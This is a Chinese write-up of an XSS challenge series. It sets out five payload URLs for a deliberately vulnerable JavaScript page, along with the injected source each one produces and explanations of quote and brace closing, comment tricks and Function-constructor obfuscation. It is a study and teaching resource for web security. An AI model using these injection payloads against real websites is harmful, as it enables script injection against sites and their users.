好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

SecProject Web AppSec 之XSS解析 第一篇 - 网站安全 -

整体而言共三个题目,难度依次增加。

 

在一个js函数中,如果某一变量可以使用单引号而不被转义或过滤,就可以闭合整个函数,从而将剩下的内容当作js代码来直接执行。但有的情况,变量的多次使用,给闭合函数造成了不少的困扰。这里就将其题目与部分答案,稍做解析,学习了解XSS的各种技巧。

 

看过之后,才会发现他人是多么淫荡。

 

正常范例:

 

地址:

 

 

正常 源码 :

 

 

<html> <head> <SCRIPT language="Javascript"> function setid(id, name) { if (document.getElementById('111').value != '222') { document.getElementById('111').value= '222'; } if (document.getElementById('111').value != '333') { document.getElementById('111').value = '333'; } self.close(); } //--> </script> </head> ...

 

...

 利用一经过提示,写出来的利用:

 

http://sdl.me/challenge1/xss1/JsChallenge1. asp ?input1=111&input2=222%27%29a}alert%2811%29;/*&input3=333*/function%20c%28%29{if%280%29{//

 

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=111&input2=222′)a}alert(11);/*&input3=333*/function c(){if(0){//

  <html> <head> <SCRIPT language=" Java script"> function setid(id, name) { if (document.getElementById('111').value != '222')a}alert(11);/*') { document.getElementById('111').value= '222')a}alert(11);/*'; } if (document.getElementById('111').value != '333*/function c(){if(0){//') { document.getElementById('111').value = '333*/function c(){if(0){//'; } self.close(); } //--> </script> </head> <body> ....

 

总结:在js中的注释上下文可控时,用/**/是个不错选择,但只有上文可控时,就只能用//注释一行内容了。

一个js函数中的变量可控可以通过闭合单括号和圆括号(())与大括号({})来使代码直接得到执行,而跳出函数声明的限制。

 

利用二:

 

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&input2=2%27%29{}}%20try{/*&input3=1*///%27}finally{%280%29[%27constructor%27][%27constructor%27]%28%27\x61lert\x28/superevr/%29%27%29%28%29};{{//

 

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&input2=2′){}} try{/*&input3=1*///’}finally{(0)['constructor']['constructor'](‘\x61lert\x28/superevr/)’)()};{{//

 

<SCRIPT language="Javascript"> function setid(id, name) { if (document.getElementById('test1').value != '2'){}} try{/*') { document.getElementById('test1').value= '2'){}} try{/*'; } if (document.getElementById('test1').value != '1*///'}finally{(0)['constructor']['constructor']('\x61lert\x28/superevr/)')()};{{//') { document.getElementById('test1').value = '1*///'}finally{(0)['constructor']['constructor']('\x61lert\x28/superevr/)')()};{{//'; } self.close(); } //--> </script>

 

 

 

 总结:

 

(0)['constructor']['constructor'](‘\x61lert\x28/superevr/)’)()

 

这句话竟然能执行成功。

(0)['constructor'] 这是创建Number对象0的Number()函数,(0)['constructor']['constructor']就是Function对象

 

(0)['constructor']===Number

true

 

(0)['constructor']['constructor']===Function

true

故最后结果相当于

 

Function(‘\x61lert\x28/superevr/)’)()

 

弹出对话框

 

 利用三:

 

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=a&input2=%27%29;}alert%28%27Peter%20Jaric%27%29;{{/*&input3=*///

 

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=a&input2=’);}alert(‘Peter Jaric’);{{/*&input3=*///

 

 

<SCRIPT language="Javascript"> function setid(id, name) { if (document.getElementById('a').value != '');}alert('Peter Jaric');{{/*') { document.getElementById('a').value= '');}alert('Peter Jaric');{{/*'; } if (document.getElementById('a').value != '*///') { document.getElementById('a').value = '*///'; } self.close(); }

 

 

 

和之前讨论类似也是,括号的闭合是关键。

——————————————————————————–

 

利用四:

 

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input3=%2a%2f%20%26%26%20%61%31%2e%72%65%70%6c%61%63%65%28%2f%2e%2a%2f%67%2c%61%6c%65%72%74%29%20%7c%7c%20%27%3b%7d%7d%73%65%74%69%64%28%29%3b%7b%7b%2f%2f&input1=%27%29%2c%61%31%3d%22%74%68%65%77%69%6c%64%63%61%74%22%2c%28%27&input2=%79%79%79%27%2f%2a

 

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input3=*/ && a1.replace(/.*/g,alert) || ‘;}}setid();{{//&input1=’),a1=]thewildcat],(‘&input2=yyy’/*

 

 

  <SCRIPT language="Javascript"> function setid(id, name) { if (document.getElementById(''),a1="thewildcat",('').value != 'yyy'/*') { document.getElementById(''),a1="thewildcat",('').value= 'yyy'/*'; } if (document.getElementById(''),a1="thewildcat",('').value != '*/ && a1.replace(/.*/g,alert) || ';}}setid();{{//') { document.getElementById(''),a1="thewildcat",('').value = '*/ && a1.replace(/.*/g,alert) || ';}}setid();{{//'; } self.close(); } //--> </script> </head> <body>

 

 

仔细看就会发现,作者将整个参数中的不管是正常字符都进行了编码……这样竟然在chrome下成功执行。如果解码后再去执行会发现,并不能得到执行……应该是利用了chrome URL解析后可以作为代码执行的小bug..具体还是没办法研究。只此记下。

 

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input3=*/ && a1.replace(/.*/g,alert) || ‘;}}setid();{{//&input1=’),a1=]thewildcat],(‘&input2=yyy’/*

 

利用五:

 

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=one&input2=100%27%29{}}alert%28/skeptic_fx/%29;/*&input3=three%27;{{//*///

 

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=one&input2=100′){}}alert(/skeptic_fx/);/*&input3=three’;{{//*///

 

  <SCRIPT language="Javascript"> function setid(id, name) { if (document.getElementById('one').value != '100'){}}alert(/skeptic_fx/);/*') { document.getElementById('one').value= '100'){}}alert(/skeptic_fx/);/*'; } if (document.getElementById('one').value != 'three';{{//*///') { document.getElementById('one').value = 'three';{{//*///'; } self.close(); } //-->

 

 

 

这里有得说的是//*/这种方法……首先如果前面有/*,这句就会匹配*/ 这样,包括//*/ 会被注释,而因为//的单行注释,其后也会被注释。而如果前面没有/*与之配对,则//起作用,同样其后会被注释掉,包括*/,就不会造成不配对的情况。这种注释用的很妙。

 

源自&参考:

 

http://soroush.secproject测试数据/blog/2012/04/secproject-web-appsec-challenge-series-1/

 

http://soroush.secproject测试数据/blog/2012/06/challenge-series-1-result-and-conclusion/

 

http://soroush.secproject测试数据/blog/projects/hall-of-fame-challenge-series-1/

查看更多关于SecProject Web AppSec 之XSS解析 第一篇 - 网站安全 -的详细内容...

  阅读:43次